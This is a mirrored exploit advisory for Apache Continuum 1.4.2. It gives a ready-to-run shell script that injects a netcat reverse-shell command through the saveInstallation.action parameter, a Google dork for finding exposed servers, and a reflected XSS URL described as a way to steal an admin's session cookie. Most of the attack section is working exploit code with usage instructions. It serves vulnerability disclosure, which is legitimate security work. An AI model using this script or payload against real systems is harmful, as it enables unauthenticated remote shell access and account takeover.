首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Apache Continuum 1.4.2 Command Injection / Cross Site Scripting
来源:http://www.procheckup.com/ 作者:Shanahan 发布时间:2016-06-08  
# Exploit Title: Unauthenticated command injection - Apache Continuum
# Google Dork: inurl::8080/continuum/
# Date: 04/06/2016
# Exploit Author: David Shanahan (@cyberpunksec)
# Contact: http://www.procheckup.com/
# Vendor Homepage: https://continuum.apache.org/
# Software Link: https://continuum.apache.org/download.cgi
# Version: 1.4.2
# Tested on: Debian
 
--- Description ---
 
Apache Continuum is a continuous integration server for building Java projects https://continuum.apache.org/
ProCheckUp has discovered that Apache Continuum is vulnerable to an unauthenticated command injection attack and reflected XSS.
 
1) Command injection
 
Vulnerable URL - http://127.0.0.1:8080/continuum/saveInstallation.action
 
Vulnerable Parameter - installation.varValue
 
#!/bin/sh
 
if [ $# -eq 0 ]
    then
    echo "___FCKpd___0 <rhost> <rport> <lhost> <lport>"
    echo "Remember to set up your netcat listener"
    exit 1
fi
 
cmd="\`nc $3 $4 -e /bin/sh\`"
 
echo "\n\t[ Apache Continuum <= v1.4.2 CMD Injection ]"
echo "\t\t[ Procheckup - David Shanahan ]\n"
curl http://$1:$2/continuum/saveInstallation.action --data "installation.name=blah&installation.type=jdk&installation.varValue=$cmd"
 
 
2) Reflected XSS
 
The cross site scripting attack works against authenticated users only. An example attack would be to send an authenticated user (let's say the admin) the malicious URL.
If the victim is logged in and accesses the URL, the attacker could steal the victim's session cookie and impersonate them.
 
Vulnerable URL - http://127.0.0.1:8080/continuum/security/useredit_confirmAdminPassword.action?userAdminPassword=&username=guest&user.username=guest<script>alert(document.cookie)</script>&user.fullName=Guest&user.email=blah@procheckup.com&user.password=password&user.confirmPassword=password&user.timestampAccountCreation=&user.timestampLastLogin=&user.timestampLastPasswordChange=&user.locked=false&user.passwordChangeRequired=false&method:confirmAdminPassword=Submit&cancel=Cancel<http://127.0.0.1:8080/continuum/security/useredit_confirmAdminPassword.action?userAdminPassword=&username=guest&user.username=guest%3cscript%3ealert(document.cookie)%3c/script%3e&user.fullName=Guest&user.email=blah@procheckup.com&user.password=password&user.confirmPassword=password&user.timestampAccountCreation=&user.timestampLastLogin=&user.timestampLastPasswordChange=&user.locked=false&user.passwordChangeRequired=false&method:confirmAdminPassword=Submit&cancel=Cancel>
 
Fix:
The Apache Continuum project is no longer maintained. Removal of the software is recommended.
 
http://www.procheckup.com/


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Magento 2.0.6 Unserialize Remo
·Poison Ivy 2.1.x C2 Buffer Ove
·Microsoft Windows Forced Firew
·Dell OpenManage Server Adminis
·Boxoft Wav To MP3 Converter 1.
·Mobiketa 1.0 - CSRF Add Admin
·Konica Minolta FTP Utility 1.0
·Armadito Antimalware - Backdoo
·HP Data Protector A.09.00 - En
·IPFire proxy.cgi RCE
·TCPDump 4.5.1 - Crash PoC
·IPFire Bash Environment Variab
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved